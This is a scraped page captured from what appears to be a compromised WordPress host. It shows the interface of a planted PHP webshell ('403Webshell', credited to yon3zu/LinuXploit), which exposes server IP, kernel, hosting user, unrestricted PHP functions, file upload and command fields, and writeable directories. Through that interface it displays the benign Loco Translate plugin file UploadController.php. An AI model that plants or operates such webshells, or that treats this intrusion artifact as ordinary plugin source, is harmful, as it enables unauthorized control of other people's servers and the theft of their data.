403Webshell
Server IP : 172.67.158.161  /  Your IP : 3.147.195.185
Web Server : LiteSpeed
System : Linux business53.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : giankuin ( 1871)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/thread-self/root/home/giankuin/thietke365.net/wp-content/plugins/loco-translate/src/ajax/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/thread-self/root/home/giankuin/thietke365.net/wp-content/plugins/loco-translate/src/ajax/UploadController.php
<?php
/**
 * Ajax "upload" route, for putting translation files to the server
 */
class Loco_ajax_UploadController extends Loco_ajax_common_BundleController {

    /**
     * {@inheritdoc}
     */
    public function render(){
        $post = $this->validate();
        $href = $this->process( $post );
        //
        $this->set('redirect',$href);
        return parent::render();
    }


    /**
     * Upload processor shared with standard postback controller
     * @param Loco_mvc_ViewParams script input
     * @return string redirect to file edit
     */
    public function process( Loco_mvc_ViewParams $post ){
        $bundle = $this->getBundle();
        $project = $this->getProject( $bundle );
        // Chosen folder location should be valid as a posted "dir" parameter
        if( ! $post->has('dir') ){
            throw new Loco_error_Exception('No destination posted');
        }
        $base = loco_constant('WP_CONTENT_DIR');
        $parent = new Loco_fs_Directory($post->dir);
        $parent->normalize($base);
        // Loco_error_AdminNotices::debug('Destination set to '.$parent->getPath() );
        // Ensure file uploaded ok
        if( ! isset($_FILES['f']) ){
            throw new Loco_error_Exception('No file posted');
        }
        $upload = new Loco_data_Upload($_FILES['f']);
        $dummy = new Loco_fs_DummyFile( $upload->getName() );
        $ext = strtolower( $dummy->fullExtension() );
        // Loco_error_AdminNotices::debug('Have uploaded file: '.$dummy->basename() );
        switch($ext){
            case 'po':
            case 'mo':
                $dummy->putContents($upload->getContents());
                $pomo = Loco_gettext_Data::load($dummy);
                break;
            default:
                throw new Loco_error_Exception('Only PO/MO uploads supported');
        }
        // PO/MO data is valid.
        // get real file name and establish if a locale can be extracted, otherwise get from headers
        $file = new Loco_fs_LocaleFile( $dummy->basename() );
        $locale = $file->getLocale();
        if( ! $locale->isValid() ){
            $value = $pomo->getHeaders()->offsetGet('Language');
            $locale = Loco_Locale::parse($value);
            if( ! $locale->isValid() ){
                throw new Loco_error_Exception('Unable to detect language from '.$file->basename() );
            }
        }
        // Fail if user presents å wrongly named file. This is to avoid mixing up text domains.
        $pofile = $project->initLocaleFile($parent,$locale);
        if( $pofile->filename() !== $dummy->filename() ){
            throw new Loco_error_Exception( sprintf('File must be named %s', $pofile->filename().'.'.$ext ) );
        }
        // Avoid processing if uploaded PO file is identical to existing one
        if( $pofile->exists() && 'po' === $ext && $pofile->md5() === $dummy->md5() ){
            throw new Loco_error_Exception( __('Your file is identical to the existing one','loco-translate') );
        }
        // recompile all files including uploaded one
        $compiler = new Loco_gettext_Compiler($pofile);
        $compiler->writeAll($pomo,$project);

        // push recent items on file creation
        Loco_data_RecentItems::get()->pushBundle($bundle)->persist();

        // Redirect to edit this PO. Sync may be required and we're not doing automatically here.
        $type = strtolower( $this->get('type') );
        return Loco_mvc_AdminRouter::generate( sprintf('%s-file-edit',$type), [
            'path' => $pofile->getRelativePath($base),
            'bundle' => $bundle->getHandle(),
            'domain' => $project->getId(),
        ] );
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit